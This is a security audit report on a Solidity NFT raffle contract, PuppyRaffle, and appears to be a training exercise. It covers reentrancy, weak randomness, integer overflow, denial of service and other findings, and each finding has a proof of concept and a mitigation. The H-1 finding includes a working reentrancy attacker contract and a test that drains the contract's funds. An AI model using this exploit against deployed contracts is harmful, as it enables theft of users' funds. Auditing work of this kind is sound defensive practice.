PuppyRaffle Audit Report

Version 1.0

Dharmin Nagar

September 6, 2024

Protocol Audit Report

Dharmin Nagar

September 6, 2024

Prepared by: Dharmin Nagar

Lead Auditors:

- Dharmin Nagar

Table of Contents

Protocol Summary

This protocol is to enter a raffle to win a cute dog NFT. It is a simple protocol where users can enter a raffle with a list of addresses, and the owner can set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Dharmin Nagar makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

The scope of the audit includes the following files:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The audit provided a valuable learning opportunity. The codebase is clearly written and straightforward to comprehend. It is thoroughly documented, and the functions have descriptive names.

Issues found

Severity	Number of Issues Found
High	3
Medium	3
Low	1
Gas	2
Informational	7
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle` allows entrants to drain raffle balance (Root + Impact)

Description: The `PuppyRaffle::refund()` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund()` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund()` function again and claim another refund. They could continue it till they drain the contract balance

Impact: All fees paid by raffle entrants could be stolen by the malicious player.

Proof of Concepts:

1. User enters raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`.

```
    function testReentrancyInRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attacker = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // Attack
        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();

        console.log("Starting Attacker Contract Balance: ",
            startingAttackerBalance);
        console.log("Starting Contract Balance: ",
            startingContractBalance);

        console.log("Ending Attacker Contract Balance: ", address(
            attacker).balance);
        console.log("Ending Contract Balance: ", address(puppyRaffle).
            balance);
    }
```

And add this as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }

    function attack() public payable {
        puppyRaffle.refund(0);
    }

    receive() external payable {
        attack();
    }

    fallback() external payable {
        attack();
    }
}
```

Recommended mitigation: To prevent this, we should follow the CEI pattern. We should first update the `players` array and then make the external call. Additionally, we should move the event emission up as well

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

-       payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
+       payable(msg.sender).sendValue(entranceFee);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and selecting the `rarest` puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` to determine the winner is not a secure way to generate randomness. An attacker could potentially influence the outcome of the raffle by manipulating the `block.timestamp` or `block.difficulty` values.

NOTE: This additionally means users could front-run this function and call `return` if they see they are not the winner

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concepts:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog.`block.difficulty` was recently replaced with prevrandao
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended mitigation: Consider using a cryptgraphically provable random number generator such as Chainlink VRF

[H-3] Integer Overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows

```
uint64 myVar = type(uint64).max;
// 18446744073709551615;
myVar = myVar + 1
// 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. If `totalFees` overflows, the fees will be lost and the `feeAddress` will not be able to collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concepts: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. Total Fees will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. You will not be able to withdraw the fees, due to the require check in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above require will be impossible to hit.

Code

```
function testOverflowInTotalFees() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("Ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended mitigation: There are a few possible mitigations. 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` Library of Openzeppelin for version 0.7.6 version of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected. 3. Move the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service(DoS), incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make in order to add a new player.

```
// @audit DoS Attack here
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concepts:

If we have 2 sets of 100 players who enter the raffle, the gas costs will be as such: - 1st 100 players: ~6252039 gas - 2nd 100 players: ~18068129 gas

This is more than 3x more expensive for the second 100 players.

Proof of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testDOSInEnterRaffle() public {
        // Let's enter 100 players
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used for entering first 100 players: ",
            gasUsedFirst);

        // now for the second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        // see how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas used for entering second 100 players: ",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
```

```
      .
      .
      function enterRaffle(address[] memory newPlayers) public payable {
          require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
          for (uint256 i = 0; i < newPlayers.length; i++) {
              players.push(newPlayers[i]);
+              addressToRaffleId[newPlayers[i]] = raffleId;
          }

-          // Check for duplicates
+         // Check for duplicates only from the new players
+         for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+         }
-          for (uint256 i = 0; i < players.length; i++) {
-              for (uint256 j = i + 1; j < players.length; j++) {
-                  require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-              }
-          }
          emit RaffleEnter(newPlayers);
      }
.
.
.
      function selectWinner() external {
+         raffleId = raffleId + 1;
          require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.
```

```
               length;
           address winner = players[winnerIndex];
           uint256 fee = totalFees / 10;
           uint256 winnings = address(this).balance - fee;
@>         totalFees = totalFees + uint64(fee);
           players = new address[](0);
           emit RaffleWinner(winner, winnings);
       }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if a winner is a smart contract wallet and rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money

Proof of Concepts:

1. 10 smart contract wallets enter the raffle without a receive or a fallback function
2. The raffle ends
3. The `selectWinner` function wouldn't work, even though the raffle has ended

Recommended mitigation: There are a few options to mitigate this: 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payouts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter a raffle again, wasting gas

Proof of Concepts:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered the raffle and attempts to enter again

Proof of Code:

Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testGetActivePlayerIndex() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
            playerOne);
        assert(playerIndex == 0);
    }
```

Recommended mitigation: The easiest recommendation would be simply to revert if the player is not in the array instead of returning 0

You could also reserve the 0th position for any competition but a better solution would be to return a `int256` and return `-1` if the player is not in the array

```
    function getActivePlayerIndex(address player) external view returns
        (int256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return int256(i);
            }
        }
        return -1;
    }
```

Gas

[G-1] Unchanged state variables should be declared constant

Reading from storage is much more expensive than reading from a constant or an immutable variable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` in a loop, you read from storage as opposed to memory which is more gas efficient

```
            uint256 playerLength = players.length;
-           for (uint256 i = 0; i < players.length - 1; i++) {
+           for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of solidity is not recommended.

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 63

  ```
              feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 190

  ```
              feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle` should follow CEI

It is best to keep code clean and follow CEI (Checks, Effects, Interactions) pattern. This makes the code more readable and easier to understand.

```
-         (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
          _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "Magic" Numbers is discouraged

Description: It can be confusing to see literals in the codebase, and it's much more readable if the numbers are given a name.

Instead of this

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

We can use this

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
        / POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        POOL_PRECISION;
```

[I-6] State changes are missing events

Description: Events are a crucial part of the Ethereum ecosystem. They allow for the tracking of state changes and are a way to notify the frontend of changes in the contract.

Recommendation: Add events for state changes in the contract.

```
+       emit RaffleWinner(winner, winnings);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The `PuppyRaffle::_isActivePlayer` function is never used in the contract and should be removed.

```
function _isActivePlayer() internal view returns (bool) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == msg.sender) {
                return true;
            }
        }
        return false;
    }
```

Recommendation: Remove the `PuppyRaffle::_isActivePlayer` function from the contract.